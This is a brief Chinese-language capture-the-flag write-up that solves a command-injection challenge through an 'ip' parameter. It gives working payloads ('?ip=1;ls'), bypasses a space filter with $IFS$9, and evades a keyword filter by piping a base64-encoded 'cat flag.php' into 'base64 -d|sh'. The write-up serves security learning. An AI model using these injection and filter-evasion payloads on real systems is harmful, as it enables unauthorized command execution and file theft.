列出当前目录下的文件
?ip=1;ls
那么我们就要打开flag.php文件
发现过滤了空格
经过测试我们发现$IFS$9
可以绕过空格
又发现它绕过了flag
我们先看看index.php
得知flag的过滤方式
我们可以采用base64方法编码方式绕过
需要执行的命令:
cat$IFS$9flag.php
编码后:
Y2F0JElGUyQ5ZmxhZy5waHA=
so, payload如下
?ip=1;echo$IFS$9Y2F0JElGUyQ5ZmxhZy5waHA=|base64$IFS$9-d|sh